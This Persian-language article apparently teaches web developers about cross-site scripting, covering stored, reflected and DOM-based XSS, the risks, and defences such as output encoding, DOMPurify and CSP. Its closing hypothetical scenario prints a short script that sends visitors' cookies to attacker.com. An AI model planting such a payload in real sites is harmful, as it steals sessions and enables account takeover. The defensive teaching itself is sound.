آسیب‌پذیری XSS چیست و چگونه به مقابله با آن بپردازیم؟

XSS به طور کلی به سه نوع تقسیم می‌شود: ذخیره شده (Stored XSS)، بازتابی (Reflected XSS) و DOM Based XSS. در XSS ذخیره شده، اسکریپت مخرب در پایگاه داده یا فایل‌های سرور ذخیره می‌شود و هر بار که کاربر صفحه وب مربوطه را مشاهده می‌کند، اجرا می‌شود. در XSS بازتابی، اسکریپت مخرب از طریق یک درخواست HTTP به سرور ارسال می‌شود و سرور آن را در پاسخ به کاربر برمی‌گرداند. در نتیجه، اسکریپت در مرورگر کاربر اجرا می‌شود. در XSS DOM Based، اسکریپت مخرب از طریق دستکاری DOM صفحه وب توسط جاوااسکریپت اجرا می‌شود. به طور کلی، آسیب‌پذیری XSS می‌تواند عواقب جدی برای کاربران و صاحبان وب‌سایت‌ها داشته باشد. برای کاربران، این آسیب‌پذیری می‌تواند منجر به سرقت اطلاعات شخصی، از دست دادن حساب‌های کاربری و حتی کلاهبرداری مالی شود. برای صاحبان وب‌سایت‌ها، این آسیب‌پذیری می‌تواند منجر به از دست دادن اعتماد کاربران، آسیب به شهرت برند و حتی پیگرد قانونی شود.

XSS ذخیره‌شده (Stored XSS)

در XSS ذخیره شده (Stored XSS)، مهاجم اسکریپت مخرب را به طور مستقیم در وب‌سایت هدف ذخیره می‌کند. این حمله می‌تواند از طریق بخش‌هایی مانند نظرات، انجمن‌ها، پروفایل‌های کاربری یا هر فیلدی که کاربر می‌تواند در آن داده وارد کند، انجام شود. هنگامی که کاربر دیگری از صفحه وب بازدید می‌کند، اسکریپت مخرب از پایگاه داده یا فایل‌های سرور بازیابی شده و در مرورگر کاربر اجرا می‌شود. به این ترتیب، اسکریپت مخرب می‌تواند به اطلاعات حساس کاربر مانند کوکی‌ها، توکن‌های احراز هویت و سایر داده‌های ذخیره شده در مرورگر دسترسی پیدا کند و آنها را به سرور مهاجم ارسال کند. علاوه بر این، اسکریپت‌های XSS ذخیره شده می‌توانند برای تغییر ظاهر صفحات وب، redirect کاربر به صفحات جعلی و یا اجرای سایر اقدامات مخرب استفاده شوند. XSS ذخیره شده خطرناک‌ترین نوع XSS است، زیرا اسکریپت مخرب به طور مداوم در وب‌سایت وجود دارد و هر کاربری که از صفحه مربوطه بازدید کند، در معرض خطر قرار می‌گیرد. برای جلوگیری از این نوع حمله، توسعه‌دهندگان وب باید از روش‌های مختلفی مانند اعتبارسنجی ورودی‌ها، کدگذاری خروجی‌ها و استفاده از چارچوب‌های امنیتی استفاده کنند. همچنین، کاربران باید از مرورگرهای وب به‌روز و نرم‌افزارهای امنیتی استفاده کنند و از کلیک بر روی لینک‌های مشکوک و بازدید از وب‌سایت‌های ناامن خودداری کنند.

XSS بازتابی (Reflected XSS)

در XSS بازتابی (Reflected XSS)، اسکریپت مخرب به طور مستقیم در وب‌سایت ذخیره نمی‌شود. در عوض، مهاجم اسکریپت را از طریق یک لینک یا درخواست HTTP به وب‌سایت ارسال می‌کند. وب‌سایت، بدون بررسی و اعتبارسنجی، اسکریپت را در پاسخ خود به کاربر برمی‌گرداند. مرورگر کاربر، که انتظار دریافت یک پاسخ بی‌خطر را دارد، اسکریپت مخرب را اجرا می‌کند. به این ترتیب، اسکریپت می‌تواند به اطلاعات حساس کاربر مانند کوکی‌ها، توکن‌های احراز هویت و سایر داده‌های ذخیره شده در مرورگر دسترسی پیدا کند و آنها را به سرور مهاجم ارسال کند. XSS بازتابی معمولا از طریق لینک‌های آلوده یا فرم‌های ورودی که داده‌ها را مستقیما در پاسخ نمایش می‌دهند، انجام می‌شود. برای مثال، یک مهاجم می‌تواند یک لینک آلوده که حاوی اسکریپت مخرب است را برای کاربر ارسال کند. هنگامی که کاربر روی لینک کلیک می‌کند، اسکریپت در مرورگر او اجرا می‌شود. XSS بازتابی نسبت به XSS ذخیره شده خطر کمتری دارد، زیرا اسکریپت مخرب فقط برای کاربرانی که لینک آلوده را باز می‌کنند یا فرم مربوطه را پر می‌کنند، اجرا می‌شود. با این حال، همچنان می‌تواند عواقب جدی برای کاربران داشته باشد. برای جلوگیری از این نوع حمله، توسعه‌دهندگان وب باید از روش‌های مختلفی مانند اعتبارسنجی ورودی‌ها، کدگذاری خروجی‌ها و استفاده از چارچوب‌های امنیتی استفاده کنند. همچنین، کاربران باید از کلیک بر روی لینک‌های مشکوک و بازدید از وب‌سایت‌های ناامن خودداری کنند.

XSS مبتنی بر DOM (DOM-Based XSS)

در XSS مبتنی بر DOM (DOM-Based XSS)، آسیب‌پذیری در کد سمت کلاینت (Client-Side) وب‌سایت وجود دارد و اسکریپت مخرب از طریق دستکاری مدل شیء سند (DOM) صفحه وب توسط جاوااسکریپت اجرا می‌شود. در این نوع حمله، داده‌های ورودی کاربر، مانند پارامترهای URL یا مقادیر فیلدها، بدون اعتبارسنجی و کدگذاری مناسب، مستقیما توسط جاوااسکریپت در DOM صفحه وب قرار می‌گیرند. سپس، اسکریپت مخرب می‌تواند از این داده‌ها برای اجرای اقدامات مخرب استفاده کند. برخلاف XSS ذخیره شده و بازتابی که در آنها اسکریپت مخرب توسط سرور پردازش می‌شود، در XSS مبتنی بر DOM، اسکریپت مستقیما در مرورگر کاربر اجرا می‌شود. این امر باعث می‌شود که تشخیص و جلوگیری از این نوع حمله دشوارتر باشد. XSS مبتنی بر DOM معمولا از طریق URLهای آلوده یا استفاده از توابع جاوااسکریپت ناامن مانند eval() یا innerHTML انجام می‌شود. برای مثال، یک مهاجم می‌تواند یک URL آلوده که حاوی اسکریپت مخرب است را برای کاربر ارسال کند. هنگامی که کاربر روی لینک کلیک می‌کند، اسکریپت در مرورگر او اجرا می‌شود و می‌تواند به اطلاعات حساس کاربر دسترسی پیدا کند یا اقدامات مخرب دیگری را انجام دهد. برای جلوگیری از XSS مبتنی بر DOM، توسعه‌دهندگان وب باید از روش‌های مختلفی مانند اعتبارسنجی ورودی‌ها، کدگذاری خروجی‌ها و استفاده از توابع جاوااسکریپت ایمن استفاده کنند. همچنین، کاربران باید از کلیک بر روی لینک‌های مشکوک و بازدید از وب‌سایت‌های ناامن خودداری کنند و مرورگرهای وب خود را به روز نگه دارند.

خطرات ناشی از حملات XSS

حملات XSS یا Cross-Site Scripting می‌توانند عواقب بسیار جدی و گسترده‌ای برای کاربران و وب‌سایت‌ها داشته باشند. این حملات به مهاجمان اجازه می‌دهند تا اسکریپت‌های مخرب را در صفحات وب تزریق کنند و از این طریق به اطلاعات حساس کاربران دسترسی پیدا کنند. یکی از اصلی‌ترین خطرات XSS، سرقت اطلاعات کاربران است. مهاجمان می‌توانند با استفاده از این آسیب‌پذیری، کوکی‌ها، توکن‌های احراز هویت و سایر داده‌های ذخیره شده در مرورگر کاربران را بدزدند. این اطلاعات می‌تواند برای دسترسی به حساب‌های کاربری، انجام تراکنش‌های مالی و یا حتی سرقت هویت کاربران مورد استفاده قرار گیرد. علاوه بر سرقت اطلاعات، حملات XSS می‌توانند برای تغییر ظاهر صفحات وب و یا redirect کاربران به صفحات جعلی مورد استفاده قرار گیرند. مهاجمان می‌توانند با تزریق اسکریپت‌های مخرب، ظاهر وب‌سایت را تغییر دهند و یا کاربر را به صفحه‌ای جعلی که شبیه به صفحه اصلی وب‌سایت است، هدایت کنند. در این صفحه جعلی، مهاجم می‌تواند اطلاعات ورود کاربر را سرقت کرده و یا بدافزارهای مخرب را روی سیستم کاربر نصب کند. همچنین، حملات XSS می‌توانند برای اجرای سایر اقدامات مخرب مانند ارسال هرزنامه، انتشار بدافزار و یا حتی حمله به سایر سیستم‌ها مورد استفاده قرار گیرند. مهاجمان می‌توانند از طریق مرورگر کاربر، به سایر سیستم‌های موجود در شبکه دسترسی پیدا کرده و آنها را نیز مورد حمله قرار دهند. در نتیجه، حملات XSS می‌توانند عواقب بسیار جدی و گسترده‌ای برای کاربران و وب‌سایت‌ها داشته باشند. برای جلوگیری از این حملات، توسعه‌دهندگان وب باید از روش‌های مختلفی مانند اعتبارسنجی ورودی‌ها، کدگذاری خروجی‌ها و استفاده از چارچوب‌های امنیتی استفاده کنند. همچنین، کاربران باید از مرورگرهای وب به‌روز و نرم‌افزارهای امنیتی استفاده کنند و از کلیک بر روی لینک‌های مشکوک و بازدید از وب‌سایت‌های ناامن خودداری کنند.

روش‌های مختلف مقابله با حملات XSS

روش‌های مختلفی برای جلوگیری از حملات XSS وجود دارد که در اینجا به برخی از مهم‌ترین آنها اشاره می‌کنیم:

۱. اعتبارسنجی ورودی‌ها:

مطمئن شوید که داده‌های ورودی از نوع مورد انتظار هستند. به عنوان مثال، اگر انتظار عدد دارید، ورودی‌های غیر عددی را رد کنید.

بررسی طول داده: طول داده‌های ورودی را محدود کنید تا از سرریز بافر و سایر مشکلات امنیتی جلوگیری شود.

استفاده از لیست سفید: فقط داده‌های مجاز را قبول کنید و بقیه را رد کنید. به عنوان مثال، اگر فقط حروف الفبا و اعداد مجاز هستند، هر کاراکتر دیگری را رد کنید.

کدگذاری ورودی‌ها: قبل از استفاده از داده‌های ورودی در کد خود، آنها را کدگذاری کنید تا از تفسیر آنها به عنوان کد مخرب جلوگیری شود.

۲. کدگذاری خروجی‌ها:

کدگذاری HTML: قبل از نمایش داده‌ها در صفحه وب، آنها را با استفاده از توابعی مانند htmlspecialchars در PHP یا معادل‌های آن در زبان‌های دیگر، کدگذاری کنید.

کدگذاری URL: اگر داده‌ها را در URL استفاده می‌کنید، آنها را با استفاده از توابعی مانند urlencode در PHP یا معادل‌های آن در زبان‌های دیگر، کدگذاری کنید.

کدگذاری جاوااسکریپت: اگر داده‌ها را در کد جاوااسکریپت استفاده می‌کنید، آنها را با استفاده از توابعی مانند JSON.stringify یا معادل‌های آن در زبان‌های دیگر، کدگذاری کنید.

۳. استفاده از چارچوب‌های امنیتی:

استفاده از فریمورک‌های وب: فریمورک‌های وب مانند React، Angular و Vue.js به طور خودکار بسیاری از مسائل امنیتی مربوط به XSS را مدیریت می‌کنند.

استفاده از کتابخانه‌های امنیتی: کتابخانه‌های امنیتی مانند DOMPurify می‌توانند به شما در جلوگیری از XSS مبتنی بر DOM کمک کنند.

۴. پیکربندی صحیح سرور:

استفاده از مکانیزم‌های دقیق امنیتی HTTP: توسعه‌دهندگان و کارشناسان شبکه باید از مکانیزم‌های قدرتمندی مثل CSP سرنام Content Security Policy به منظور پیشگیری از بروز حملات XSS استفاده کنند.

به‌روزرسانی نرم‌افزارها: همیشه نرم‌افزارهای سرور و وب‌سایت خود را به آخرین نسخه به‌روزرسانی کنید تا از آسیب‌پذیری‌های شناخته شده جلوگیری شود.

۵. آموزش کاربران:

آگاهی از خطرات: به کاربران خود در مورد خطرات XSS و نحوه شناسایی لینک‌های مشکوک آموزش دهید.

عدم کلیک بر روی لینک‌های مشکوک: به کاربران خود توصیه کنید که از کلیک بر روی لینک‌های مشکوک و بازدید از وب‌سایت‌های ناامن خودداری کنند.

یک سناریو فرضی از یک حمله XSS

تصور کنید یک وب‌سایت دارای بخش نظرات است که در آن کاربران می‌توانند نظرات خود را ارسال کنند. این وب‌سایت در برابر حملات XSS ذخیره شده آسیب‌پذیر است. یک هکر ممکن است به روش زیر به سایت مذکور حمله کند:

اقدام مهاجم: یک کاربر مخرب یک نظر حاوی کد جاوااسکریپت مخرب می‌نویسد. به عنوان مثال:

HTML

<script>

// این اسکریپت کوکی‌های کاربر را می‌دزدد و آنها را به سرور مهاجم می‌فرستد

var cookies = document.cookie;

window.location = "http://attacker.com/steal_cookies.php?c=" + cookies;

</script>

ارسال نظر: مهاجم این نظر را از طریق فرم وب‌سایت ارسال می‌کند.

ذخیره‌سازی: وب‌سایت، بدون بررسی و پاکسازی ورودی کاربر، این نظر را در پایگاه داده خود ذخیره می‌کند.

بازدید قربانی: هنگامی که کاربر دیگری از صفحه وب بازدید می‌کند و نظرات را مشاهده می‌کند، اسکریپت مخرب ذخیره شده در مرورگر او اجرا می‌شود.

سرقت کوکی: اسکریپت کوکی‌های قربانی را می‌دزدد که ممکن است حاوی اطلاعات حساس مانند اعتبار ورود به سیستم باشد.

استخراج داده: اسکریپت کوکی‌های دزدیده شده را به سرور مهاجم (attacker.com در این مثال) ارسال می‌کند.

تصاحب حساب: مهاجم اکنون کوکی‌های قربانی را در اختیار دارد و می‌تواند به طور بالقوه هویت او را در وب‌سایت جعل کند.

سناریو فوق یک مثال ساده است، در حالی که حملات XSS واقعی می‌توانند بسیار پیچیده‌تر باشند. آسیب‌پذیری کلیدی در اینجا عدم پاکسازی ورودی کاربر توسط وب‌سایت قبل از ذخیره و نمایش آن است. درست است که مرورگرهای مدرن دارای برخی از محافظت‌های داخلی XSS هستند، اما آنها ضد گلوله نیستند. از این‌رو، جلوگیری از XSS نیازمند ترکیبی از اقدامات کدنویسی ایمن، اعتبارسنجی ورودی و کدگذاری خروجی است.